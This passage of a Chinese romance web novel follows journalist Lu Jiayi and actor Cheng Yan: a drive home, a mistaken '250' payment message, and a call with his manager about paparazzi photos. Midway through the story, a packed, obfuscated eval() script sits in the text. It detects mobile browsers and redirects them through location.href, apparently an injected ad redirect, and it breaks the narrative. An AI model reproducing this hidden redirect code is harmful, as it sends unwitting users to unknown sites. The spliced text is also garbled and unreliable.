雨后潮气未散，窗外冷风呼呼吹着，带着隆冬雨后的冰冷。
夜景瑰丽，显得车内氛围愈发沉寂闷热。
荨麻疹使得路嘉一皱眉，又克制不去碰。可更多的，是不受控制的思绪。
她没回答程衍的话，更不知道该如何回答。
大概是觉得她过得太惨，出于对往日关系还算不错的朋友的关切？
路嘉一不擅长解释，但她不舒服时，确实以为头脑昏沉是连续加班的后遗症，真没多想。
程衍语气算不上好，路嘉一这会儿也昏昏沉沉的，再加上皮肤红疹发干发痒让人心烦意乱。她抿起唇角，低声：“男朋友又不是万能的……”
“那要来干什么？”程衍语调冷淡。
说完，沉闷的气氛僵滞片刻，路嘉一转头看向窗外：“……没有。”
就听见程衍缄默许久后道：“没有什么，没到185，还是不绅士体贴？”
稍顿，语调意味不明：“眼光好点。”
“......”
路嘉一不知道为什么话题会变成这样。她是说根本没有这个人，但程衍俨然误会到了另一层意思。
她头脑一热，忍不住闷声：“你就没应付过长辈的相亲吗？”
说完，也察觉到了自己情绪不对，她张了张嘴在想要不要道歉。身旁的程衍语调散漫地低哂一声：“还真没有。”
“......程老师真幸运。”
路嘉一一时不知道说什么，轻声感慨。
程衍静默须臾，点了点头：“谢谢?”
路嘉一手一顿，错愕侧目看向驾驶座的人，半晌，不确定地憋出一句：“不客气？”
闻言，程衍打开车内灯的动作也停顿两秒，敛眸，轻描淡写地扫了眼后视镜：“要不再给路记者送副锦旗到电视台，上面写着‘文明全江北，礼貌你我他’？”
路嘉一缄默，她觉得程衍真能干出这事。脑中不受控制地闪过那场景，没忍住压住唇角，转眸看向窗外：“……不用。”
余光瞥见车窗上映着的面容，程衍眼睑微掀，唇角扯了扯：“想笑就笑。”
他稍顿，“地址。”
“冀南路十九号院。”
程衍低嗯声，没再多说。
车内安安静静的，两人都没再说话。快到小区时，路嘉一见他没停车的打算，出声道：“这里就可以了。”
程衍没应声，车子缓缓停在冀南路口。伸手碰到车门时，路嘉一拎着装药的袋子回头看了眼程衍，在思索是要不要直接扫码付药钱，可下意识想到被自己删除许久的微信，还是低声道：“等下支付宝转你。”
闻言，程衍眼睑稍抬，若有所思地看她眼，低嗤声：“随你。”
身影彻底消失在视野里时，程衍摇下车窗任由冷风灌进来。
他摸出手机看了眼，点开陆成远的消息，说这会儿酒吧打烊，问他还去不去了。程衍回了句不去，陆成远的电话直接打了过来：“真不来啊？我还帮你跟小金主朋友套话呢。我可是笃定那路记者就是你那小金主啊，江大外国语的，我同校小师妹，不可能认错的。”
“不需要。”
陆成远轻笑：“真没和你那小金主和好啊？”
程衍稍顿，淡淡道：“人有名字有职业。”
“行，你那小路记者。”
程衍：“……”
-
烧水壶声嗡嗡作响，路嘉一倚在沙发里，低眸盯着支付宝检索结果良久。
黑夜星空头像。
同上次况源微信列表里一样。
微信头像和支付宝头像都没换。
除掉前几次两人几乎可以忽略的交流，今天是唯一算得上平和的交流。路嘉一轻叹口气，说不出自己的感受。
算不上不好，可也算不上好。
她思索几秒，头脑还是发昏，可能是退烧药后遗症，又难受又困。强撑着精神再次确认小票上的价格，伤药退烧药还有过敏消炎止痒用药，加起来249.85，她默念一声，伸手就在屏幕上录入凑整的金额，确定。
发完，她像烫手山芋一样想将手机丢出去。
忽地，手机震动了下。发觉时支付宝消息时，她惊讶点进去，然后缓慢地僵滞住。
程衍的回复，仅有一个问号。
意识到什么，路嘉一再次看向支付宝页面，只有两条消息。
路嘉一：【250】
程衍：【贴脸骂？】
？
！
路嘉一眼皮一跳。
不确定地再次看向手机屏幕，终于确定自己压根没转账，而是发了条“250”的消息。
她缄默几秒，确信支付宝真的没有撤回功能后，抿唇忙打字解释。
路嘉一：【没骂人。】
路嘉一：【转你的药钱。】
那端沉默几秒，缓缓发来两个符号。
程衍：【？？】
程衍：【行，逃单新思路？】
路嘉一还想说刚才烧糊涂了，想了想，索性直接点击转账，这次确定是转账页面后，下意识要录入250，想了想，严谨地改成249.85才录入密码。
这次转完，又回了句“谢谢”。
程衍没再回复。
-
手机再次震动时，路嘉一瞥了眼，发觉是余嫚的视频来电。
“一一，看帅哥！”
她将手机靠近靠近舞台中央的乐队演奏，热烈的气氛和尖叫声瞬间传出。路嘉一忍不住弯起唇角，余嫚自己凑近屏幕：“你没来真是可惜了，今天有乐队演奏，刚才还有街舞表演和男模走秀，潮男潮女俊男美女。”
说着，她继续道：“下次你一定要——”
话没说完，先看到路嘉一脖颈的红疹：“怎么回事，什么时候发烧的？”
路嘉一发烧就起荨麻疹的事情，余嫚是在高中时知道的。
那次路嘉一住在余嫚家里，那天刚好发烧。半夜起床，转头手机屏幕的光亮正玩得起兴的余嫚，吓得余嫚当即叫出声：“嘶。”
结果，路嘉一倒是淡定，任由余嫚摸自己的额头，轻描淡写道：“淡定，荨麻疹。”
说完，轻手轻脚地下床又吃了片退烧药，转头疑惑看向余嫚：“你不睡觉？”
余嫚一愣，缓慢地朝她竖起了大拇指：“你这也......忒淡定。”
然后叹口气，“还睡什么啊，过来再量量体温。”
想到这些，路嘉一抱着水杯弯唇：“没事，晚上才烧起来的，刚从医院回来。”
“都去医院了还不严重？”
余嫚顿时坐直，表情严肃道：“吃药了吗？”
“吃了。”路嘉一喝了口水，转移话题道：“程颂呢，你们什么时候结束啊？”
余嫚看她一眼，确认她没什么不对劲的，走进包厢朝程颂喊了一嗓子，没一会儿程颂漂亮的眉眼就出现在屏幕里，朝她招手道：“路记者，你还没休息......嚯，荨麻疹啊？”
“发烧，到医院查过，但没用，下次发烧还是会有。”路嘉一无奈再次解释，程颂惊讶：“程二让你自己回去冻得吗？”
“......”
路嘉一忽地呛了口，缓了缓低声：“不是，程老师人很好。”
余嫚睁大眼睛，缓缓朝路嘉一竖起大拇指。刚端着两杯牛奶进来包厢的陆成远正好听见这一句，没忍住轻啧声：“谁人好？程二？那祖宗？”
路嘉一张了张嘴，陆成远也瞥见了屏幕里的人。
不知道想到什么，陆成远乐了，自顾低声：“诶，小金——”
路嘉一没忍住眉心一跳，陆成远倒是想到什么，悠闲自得道：“小路记者。”
“......”
听起来有点像阴阳怪气，路嘉一面无表情地想。
陆成远却没在多说，摆了摆手，走出包厢。
时间已经很晚了，路嘉一没再和余嫚两人多聊，只叮嘱让两个人上车前和到家后给她发个消息。余嫚轻车熟路地跟她比了个OK的手势，动作利落地拉了个三人的小群：“行，等会儿我俩回去直接在群里发消息。”
路嘉一点点头，喝完水后慢吞吞窝进被窝里。
-
隔天是周末。
程衍是被经纪人钟鼎的消息震动声吵醒的。
他低眸点开看了眼，一连串的消息，程衍唇角轻扯，知道钟鼎如果真的有重要的急事不会发微信，会直接打电话过来。
他自浴室出来后才随意点进去，直接拉到最上面的语音消息点开。
边走进书房拿起最近递过来的剧本，边看边听。
钟鼎那边絮絮叨叨，先说了些新公司的筹备和新签的几个演员编剧的事情，运营团队这边筹备得也差不多了。程衍翻着手里的剧本，直接打电话过去，钟鼎很快接听：“呦，祖宗，有时间联系我了？”
程衍扯了扯唇角：“打错了。”
说着，正要挂，钟鼎那边传来小霖的声音，脾气很好的助理这会儿语气带着愤慨：“衍哥，你最近看微博了吗？”
没等程衍说话，小霖更是气急道：“当时可是李导可是直接把剧本递给我们衍哥的，是衍哥说剧本不合适所以拒绝了，好家伙，那个李导的新男一号故意语焉不详，不知道怎么回事，营销号就写成了是李导经过试镜之后选择了他，还内涵说你没通过试镜。我们衍哥接的本子，那都是导演亲自上门死磕的，档期都排到哪了，咱们公司新签的几个小演员都忍不住出面解释了，结果呢，那些营销号不知道怎么想的，说咱们压着新人出头！”
“还是个年纪跟你没你大的新人。”小霖咬牙切齿。
钟鼎无奈，倒是没把这件事放心上。这种小打小闹从程衍横空出道后，一年都要来上几次，说到底，其他都是虚的，奖项和票房才是电影演员的立身之本。钟鼎是圈内知名的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183449|165396||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼力毒辣，他和李隽是多年好友，李隽不出头住地下室的那段低谷期，也都是靠着已是圈内知名经纪的钟鼎救济。
和程衍合作的那部翻身之作，很多人不看好，投资拉不到，但拼拼凑凑还是成立了团队。
钟鼎前去探班时站在监视器后，盯着光影里穿着T恤落魄也遮掩不住的天赋和气质，抽了支烟，很久没带人的钟鼎突然开口：“十九岁......这个小朋友，签经纪公司了吗？”
李隽明白了他的意思：“没，不过他跟你想象的不太一样，浑身反骨，别想拿你们公司对付新人的手段拿捏。”
还想多说时，李隽刻意忍住了，看笑话道：“看看人在读院校，别被一小孩拿捏。天赋有，长相天生就该是吃电影这碗饭的，就是...穷得没有经验...”
钟鼎当笑得弯腰，笑完，抽了烟，看了眼手里的资料。十九岁，大三，中北大学管理学。稚气尚且未褪完，少年感十足。名校毕业，成绩优异，在申请提前毕业，他难得地觉得自己有些不地道。
须臾，还是没忍住将目光放在监视器里，俨然一副看“财神爷”的眼神：“敢不敢跟我赌一把？”
事实证明，他赌对了。但李隽也说对了，所以钟鼎跟着程衍和前经纪公司解约。想到这，钟鼎话没说得太明白：“这么多年了，手段倒是没与时俱进。”
会蹭热度是常事，守得住才是本事。
小打小闹钟鼎压根不在意，他们说着，程衍倒是收到小霖最新发来的行程，随口道：“梁真是谁？”
小霖：“......”
他就知道！这祖宗也压根没把别人放在眼里！
不过这段时间是真的忙，不比在组里拍摄排得满，但最近陆陆续续都在忙影视公司的事情。企业注册比当初的工作室注册要麻烦得多，证件要办，演员导演编剧还要一一背调再签约，和陆成远的边陆录师事务所那边合作把新人身上的合同和税务一一解决，又江北见了几个幕后制作团队说服签约。待办拆分出来，全都要赶在程衍进组签处理好，真没空关注这些小打小闹。
小霖解释道：“就李导新电影的男一号，上次《华城》那个本子。”
说起本子，程衍记得清楚，点点头：“工作人员的官宣预热怎么样了？”
星业影视的注册成立没必要官宣，但旗下新签的工作人员都要官宣。
原定计划是程衍进组后统一宣，由钟鼎这边盯着。钟鼎了然：“提前？”
程衍低嗯声，没多说。
钟鼎却懂了，这位祖宗虽然很少关注网上舆论，但工作室从来都是该告就告，从不姑息。钟鼎当时疑惑，爱惜羽毛的演员不是没有，但程衍却是严格得过分。钟鼎当时还问了，后者边玩游戏机边没在意道：“我一成年人，没躲在别人身后的习惯。”
三十多岁的钟鼎：“......”
说得跟他就喜欢躲人身后似的！
钟鼎当然没意见，倒是奇怪，这小孩好像是天生就懂规矩和底线就该在一开始立下。
他起初将这归于对方的情商，后来发现，没情商，纯粹是人又拽又横。
想到这个，钟鼎抬手让小霖关门，喝了口水道：“行，都准备好了，交给我。不过，祖宗，咱们打个商量，以后深夜和你小女朋友约会，提前跟我说一声行不？”
程衍翻看剧本的动作停滞两秒：“还有狗仔跟踪？”
“不算，蹲别人的，这回也是碰巧，好在没拍到脸，只拍到了背影和车。人看着眼熟，把照片发给了我。”
钟鼎继续道：“深夜陪年轻女性去医院，这要是卖给营销号，影响可不小。”
想到昨天的情形，程衍没什么表情，一时没出声。
钟鼎清楚程衍的作风，多半是误会：“现在已经解决了，所以半夜收到邮件的时候没跟你提，不会有影响。不过，你这轻易没绯闻，要是真被人利用来个大的影响到后续——”
“不是对我。”
程衍的声音冷不丁传出，钟鼎啊了声，程衍翻着剧本的指间彻底停住，沉默几秒，嗓音很低：“我无所谓。”
他缓慢地合同，后倚在靠背上，情绪不明道：“人清清白白一姑娘，被挂到网上非议，不合适。”
钟鼎闻言一顿，神情认真道：“知道，新签的团队也不是白给的。”
“对了，现在都在猜你下部电影跟人合作，拍什么题材的，剧本看得怎么样了？”
钟鼎又说起正事，程衍瞥了眼书房里递来的本子：“剧本还在磨。”
“行。”钟鼎也不催促，程衍的眼光他是有目共睹的，也不会年年电影节要么被提名获奖要么被邀请作为颁奖嘉宾。钟鼎摇摇头，祖宗虽然挑剔，但是能赚钱啊。他想着自己笑了，转头见程衍还没挂断电话，正要出声说自己先挂。
倏地，程衍的语调传来。
“拍的照片。”
“什么？”
“发我。”